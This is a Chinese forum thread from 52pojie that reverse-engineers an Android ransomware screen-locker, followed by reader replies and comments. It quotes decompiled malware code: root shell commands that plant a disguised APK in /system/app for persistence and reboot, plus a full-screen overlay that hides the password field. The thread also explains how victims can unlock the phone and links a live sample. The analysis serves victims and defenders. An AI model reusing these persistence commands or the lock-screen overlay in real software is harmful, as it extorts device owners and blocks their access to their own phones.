吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 89269|回复: 395
上一主题 下一主题
收起左侧

[移动样本分析] 对一个"刷机无效"的坑爹锁屏APP的分析

    [复制链接]
跳转到指定楼层
楼主
菜鸡葫芦娃 发表于 2016-6-10 13:50 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Hoimk 于 2016-7-19 21:14 编辑

唔..刚才逛了下悬赏区。看到又是一个被锁屏的孩子,下了个样本,本以为只有简单String+String,没想到看起来还是很高大上的..
我是第一次分析这个...别喷我。。

报告名称:    对一个"刷机无效"的坑爹锁屏APP的分析                                                
  作者:        Hoimk                                                   
  报告更新日期:  2016.6.12
  样本发现日期:  未知
  可能受到威胁的系统: Android        
         
先放第一个Activity的图出来压压惊



准备工具:
       JEB一个;
       虚拟机一个
分析:
这个APP分为两层,我们先来看看第一层:
把软件拖到JEB里,出来是这样子滴。




唔,这个备注是我自己写的,变量名方法名是自己改的;

我们先看到Manifest,找到启动类
[XML] 纯文本查看 复制代码
<activity android:label="@string/app_name" android:name=".c">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

       android:name=".c"   这个c就是我改成main的那个。


好,那再看看OnCreate方法,这个方法就是在窗口被打开的时候调用的:


其实没什么好看的,主要就两句:
[Java] 纯文本查看 复制代码
v0.b.setOnClickListener(new ButtonClickListener(v0));
v4.d(new StringBuffer().append(v0.path).append("/zihao.l").toString());


第一句是给那个"点击打开悬浮窗"的按钮设置按钮事件,按钮事件是啥呢?看到最前面那张JEB的图了没?事件就是那个onClick方法,咱来看看
[Java] 纯文本查看 复制代码
public void onClick(View arg8) {
            new cmd().rootShell();  // 获取Root权限
            file.deleteFile(main.this.file);
        }


这个rootShell其实不只获取root权限..
[Java] 纯文本查看 复制代码
void rootShell() {
        cmd.execCommand(new String[]{"mount -o rw,remount /system", "mount -o rw,remount /system/app", 
                "cp /sdcard/zihao.l /system/app/", "chmod 777 /system/app/zihao.l", "mv /system/app/zihao.l /system/app/zihao.apk", 
                "chmod 644 /system/app/zihao.apk", "reboot"}, true);
    }


就是执行这几条命令,啥意思?  大概就是把/sdcard/zihao.l这个文件当成一个APK安装到系统分区里,最后reboot就是重启,当然,他在期间申请了所需要的权限;
然后就是关于这个zihao.l怎么来的?这时候就要回到第二句了,我们看看这个d方法



这几句就是无限循环的读,读到没得读为止,边读边写,读谁?读自身存储路劲下的ijm-x86.so,然后写出到arg13这个路径,就是在前面传进来的那个路径:
v0.path在构造器中已经声明了是取SD卡根路径;
到这,第一层就结束了,手机开始重启,重启之后就会听到一首十分动听的歌曲。。。然后你也发现屏幕已经被锁住了...重点是...TM的竟然没有输入框,没有输入框!!!给了你一个付款二维码扫描,噢草,这TM就尴尬了。用ADB干掉他,这歌我NM听着就烦;

(真丑,五星差评)

来,看看第二层这个APK;

[XML] 纯文本查看 复制代码
<activity android:label="@string/app_name" android:name=".M">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>


" android:name=".M" 嗯..先看看这个

意思就是启动MyAdmin这个receiver,


主要就是把锁屏的pin码设置为1997,然后又启动了s这个服务,那来看看这个s把;
好乱啊..全部无视直接看onCreate和onStart


看看作者这手法,这套路,v3 v0 v4无限切换,然而说到底都只是同一个对象而已...

[Asm] 纯文本查看 复制代码
 v3.editor.putString("passw", v0.des.encrypt(new StringBuffer().append("").append(v0.  // 加密passw 写进passw属性  key=xxx(图上写错了..忘记改回来)
                        passw).toString()));

分析一下这里,其实很简单,只是把passw用des加密然后写进数据文件里而已,deskey为xxx


你们有没有发现少了点啥...没错,解锁屏的在哪?!!! 全TM是套路..

再看onStart
[Asm] 纯文本查看 复制代码
public void onStart(Intent arg8, int arg9) {
        super.onStart(arg8, arg9);
        this.c();
    }

看c方法
[Asm] 纯文本查看 复制代码
 private void c() {
        s v0 = this;
        v0.wmParams = new WindowManager$LayoutParams();
        Application v6 = v0.getApplication();
        v0.getApplication();
        v0.mWindowManager = v6.getSystemService(Context.WINDOW_SERVICE);
        v0.wmParams.type = 2010;
        v0.wmParams.format = 1;
        v0.wmParams.flags = 1280;
        v0.wmParams.gravity = 49;
        v0.wmParams.x = 0;
        v0.wmParams.y = 0;
        v0.wmParams.width = -1;
        v0.wmParams.height = -1;
        v0.mFloatLayout = LayoutInflater.from(v0.getApplication()).inflate(2130903041, null);
        MediaPlayer v2 = MediaPlayer.create(v0, 2131099648);
        v2.setLooping(true);
        v2.start();
        v0.mWindowManager.addView(v0.mFloatLayout, v0.wmParams);
        v0.bt = v0.mFloatLayout.findViewById(2131361794);
        v0.ed = v0.mFloatLayout.findViewById(2131361792);
        v0.tv = v0.mFloatLayout.findViewById(2131361793);
        s v5 = v0;
        try {
            v5.ed.setHint("宝贝在这输入密码!");
            v0.tv.append("恭喜中奖");
        }
        catch(Exception v5_1) {
        }

        v0.bt.setOnClickListener(new 100000001(v0));
        v5 = v0;
        try {
            v5.tv.append(new StringBuffer().append(new StringBuffer().append("\n").append(v0.des.decrypt(
                    "e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c")).toString()).append(v0.share
                    .getLong("m", ((long)0))).toString());
        }
        catch(Exception v5_1) {
        }
    }

别的不用看看这个按钮事件:
v0.bt.setOnClickListener(new 100000001(v0));

[Asm] 纯文本查看 复制代码
if(!v4.this$0.ed.getText().toString().equals(v0.this$0.des.decrypt(v0.this$0.share.getString(
                        "passw", "")))) {
                    return;
                }  //判断ed中的内容加密后和保存的passw值是否一致

                v0.this$0.mWindowManager.removeView(v0.this$0.mFloatLayout);  //移除Activity
                v0.this$0.stopSelf();


呵呵呵呵呵呵呵,看到这里就明白了把,根本没啥扫码自己解锁;至于这个输入密码的框框和按钮在哪呢....咱来找找

[Asm] 纯文本查看 复制代码
<EditText android:ems="10" android:id="@id/ed" android:layout_height="4.0dip" android:layout_marginEnd="5.0dip" android:layout_width="5.0dip" />
<Button android:background="@drawable/image_1" android:id="@id/bt" android:layout_height="200.0dip" android:layout_width="200.0dip" android:shadowColor="#ff000000" android:shadowRadius="2.0" android:textColor="#ff000000" />


嗯..那个二维码就是一个按钮,然后这个编辑框好坑爹啊...

看到红框那里有个小点没有....就在那里输入密码,然后点这个二维码就可以了.......最后锁屏pin码是1997

然后至于作者怎么知道随机密码的问题...我表示不清除,我用ADB把SharedPreferences文件拷了出来,值是0a842e9ccc030aa2,然后key是xxx,解密出来结果是50932,成功解锁...
至于双清为什么无效,因为他把APP安装到了System分区,双清或者覆盖刷机是没法干掉他的,要完全清除System分区再重新刷才可以;
不知道是不是哪里错了,有的话求大牛带飞。
最后..完。


2016/6/15:
补充一下解决办法:
其实我也没想到什么很好的办法,我不知道线刷会不会清除system分区,回复下有几个说线刷就可以解决的请自己试试吧。
上面说了,必须清除System再卡刷就能干掉他,而清除System的目的也只是为了删除掉这个APP而已,实际上只要用带文件管理的第三方的rec删除掉他然后重启就行了,进入system目录,找到名为"com.h"(应该是这个把..我忘了,反正只有一个h的那个)的文件夹将他删除即可,
如果你没有刷过第三方rec,请百度自己机型如何线刷第三方rec!

6.29更新:
今天看到有人说这密码不是随机的..于是我从新下载了样本研究了下...
确实是我眼戳,没有看到后面他把这个pass设置为解锁序列号了:
[Asm] 纯文本查看 复制代码
tv.append(new StringBuffer().append(new StringBuffer().append("\n").append(v0.des.decrypt(
                    "e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c")).toString()).append(v0.share
                    .getLong("m", ((long)0))).toString());

他首先把"你的解锁序列号"加密成密文了,(我一眼看上去也没在意,我的序列号又是100,我还以为那是固定唬人的)...然后再把序列号取出来,加到文本框的后面。
所以解锁密码应该是 “(序列号+7176)*7”
感谢@绝版ren物

样品:链接: http://pan.baidu.com/s/1kVdav8F 密码: 8wtz

Blog:http://www.hoimk.com/reverse/53.html








点评

求楼主帮忙分析下!这个锁机的密码是多少http://www.52pojie.cn/thread-573433-1-1.html  发表于 2017-1-13 20:21
http://www.52pojie.cn/thread-513478-2-1.html这个也高大上 都会说话  发表于 2016-7-9 15:12
加密不是随机的,this.passw = new Long((this.pass + 7176) * 7);  发表于 2016-6-28 14:24
的[/col...  发表于 2016-6-28 14:22
线刷是可以搞定的,线刷会把里面软性的东西都换一遍的 包括REC ,BUT 要刷官方版本的  发表于 2016-6-18 14:41
我用模拟器尝试的时候锁机软件是/system/app/zihao.apk  发表于 2016-6-16 15:30
应该不打紧 现在第三方rec都支持文件操作 直接删了他害怕他浪  发表于 2016-6-15 10:42
刷机应该是可以得,因为刷机的时候一般会格式化system分区,不行就手动格式化system,个人见解,大神勿喷  发表于 2016-6-14 16:07
Hoimk越来越牛逼了  发表于 2016-6-10 20:31

免费评分

参与人数 161吾爱币 +18 热心值 +159 收起 理由
福慧增长69 + 1 + 1 用心讨论,共获提升!
kcuye + 1 + 1 用心讨论,共获提升!
Neo_0 + 1 我很赞同!
细胞 + 1 用心讨论,共获提升!
xiexaingyin + 1 + 1 线刷是可以的,之前中招,付款给的就是线刷的教程,软件作者也是够够的了
siuhoapdou + 1 + 1 谢谢@Thanks!
long9 + 1 + 1 用心讨论,共获提升!
风予 + 1 + 1 谢谢@Thanks!
lumou + 1 + 1 好腻害!!
gogogo2000 + 1 + 1 非常无敌,但是我不相信刷机刷不掉他……毕竟是安卓
Pingerfy + 1 + 1 用心讨论,共获提升!
忘却世俗人 + 1 热心回复!
18023474704 + 1 + 1 用心讨论,共获提升!
yuxing818 + 1 + 1 谢谢@Thanks!
myy0222 + 1 + 1 我很赞同!
ChongLtr + 1 + 1 同学手机所有数据木有备份..然后给线刷就都没了.
超神只是一瞬间 + 1 + 1 热心回复!
dhr008 + 2 + 1 用心讨论,共获提升!
北极光冷 + 1 解气啊
迷雾 + 1 666666
zcm2005 + 1 用心讨论,共获提升!
心若在 + 1 666
horse5700 + 1 谢谢@Thanks!
puppey + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
kylinpapa + 1 我很赞同!
沙滩 + 1 已答复!
Outsides + 1 用心讨论,共获提升!
那年丶十七 + 1 还好吧,锁机软件太多了,专门坑小白
亚瑟内 + 1 谢谢@Thanks!
Doughnut + 1 谢谢@Thanks!
ahszdszd + 1 厉害!!
杰哥威武 + 1 诅咒万恶的锁机狗出门撞
哈睿668 + 1 我很赞同!
时光123 + 1 我很赞同!
Personal_pj + 1 热心回复!
1715173329 + 1 鼓励转贴优秀软件安全工具和文档!
Simontune + 1 涨知识了
kiseyzed + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
梧桐夜雨 + 1 我很赞同!
quyangdayi + 1 用心讨论,共获提升!
w460270218 + 1 我很赞同!
yx123 + 1 已答复!
runingdream + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
丨下个丶路口 + 1 用心讨论,共获提升!
z406520384 + 1 鼓励转贴优秀软件安全工具和文档!
q1kx + 1 我很赞同!
glr2009 + 1 我很赞同!
ham_dy + 1 谢谢@Thanks!
中国法制史 + 1 感谢您的宝贵建议,我们会努力争取做得更好!
meicifuxian + 1 我很赞同!
malong0007 + 1 之前我妹的手机被锁了,交钱进群也给密码因为作者也忘了。一直用访客模式。.
wcbwm000 + 1 群号能发么 我想去骂人
wanglaihuai + 1 用心讨论,共获提升!
cc6639581 + 1 亭牛 赞一个 简直看不懂
mcm177 + 1 热心回复!
笨蛋蛋 + 1 鼓励转贴优秀软件安全工具和文档!
泓邱烨叶 + 1 虽不明,但觉厉!
zeng2fu + 1 我很赞同!
gamingnow + 1 用心讨论,共获提升!
Tjttym123 + 1 膜拜大神!
距离在线 + 1 我很赞同!
mirkeyang + 1 我很赞同!
布点丶君 + 1 大牛啊
诚信为人 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
z920977476 + 1 请你帮帮我好吗
WJJIahUa + 1 我很赞同!
极黑 + 1 已答复!
zl535320706 + 1 用心讨论,共获提升!
专注破解 + 1 谢谢@Thanks!
16887988 + 1 热心回复!
三日月宗近 + 1 666学习了
hhkj2015 + 1 我很赞同!
艾肯法莱 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
淼先森 + 1 6666666666666666666
小阿火i + 1 已答复!
Fonq + 1 热心回复!
for123 + 1 用心讨论,共获提升!
telroot + 1 终于让我知道安卓机也有锁机的了,哈哈
sjwx520 + 1 热心回复!
Onlooker. + 1 个人玩安卓多年的经验:直接REC覆盖刷机是可以解锁的,或者REC下直接删除那.
zhaizhe + 1 看不懂 张张见识
我爱你H大 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
yanjingtu + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
zdgk + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
freedev100 + 1 用心讨论,共获提升!
2627097475 + 1 谢谢@Thanks!
gdtangwenxin + 1 好流弊啊
心中有诡 + 1 用心讨论,共获提升!
qwe1035135872 + 1 谢谢@Thanks!
嬴承仲 + 1 我很赞同!
wuai594273539 + 1 很66666.分析得很全面
huangzihang + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
TheChosenPeople + 1 哇塞,好厉害哦,学习了
991547436 + 1 我解锁了好多锁屏都是system里的zihao.apk
oranges + 1 谢谢@Thanks!
只想叫聲“姑娘 + 1 谢谢@Thanks!
爱锅巴 + 1 我很赞同!
1201220210 + 1 棒。理论上线刷基本上会重新分区的,都会清除。还有用ADB应该可以删除APP吧.
pojielover + 1 不明觉厉,希望我也赶快能看懂!
z372100 + 1 我很赞同!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
lwt69 发表于 2016-6-10 13:57
学习了。。。。谢谢分享

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
tingji + 1 + 1 用心讨论,共获提升!

查看全部评分

推荐
知足zz 发表于 2016-6-10 14:01 来自手机
3#
风雨飘摇 发表于 2016-6-10 13:57
5#
htcperfect 发表于 2016-6-10 14:02
看来这种锁机玩意真的是越演越烈,还把输入框隐藏得那么隐蔽
6#
凉米饭 发表于 2016-6-10 14:03
谢谢楼主,学习了.
7#
atgadg 发表于 2016-6-10 14:08
感谢楼主热心分享
8#
poxiaoma 发表于 2016-6-10 14:08
楼主你用的模拟器好用吗?可以多开咩?占内存多不?
9#
 楼主| 菜鸡葫芦娃 发表于 2016-6-10 14:09 |楼主
poxiaoma 发表于 2016-6-10 14:08
楼主你用的模拟器好用吗?可以多开咩?占内存多不?

还行啊,自带多开器
头像被屏蔽
10#
点击下载 发表于 2016-6-10 14:11
又漲知識了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 09:30

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表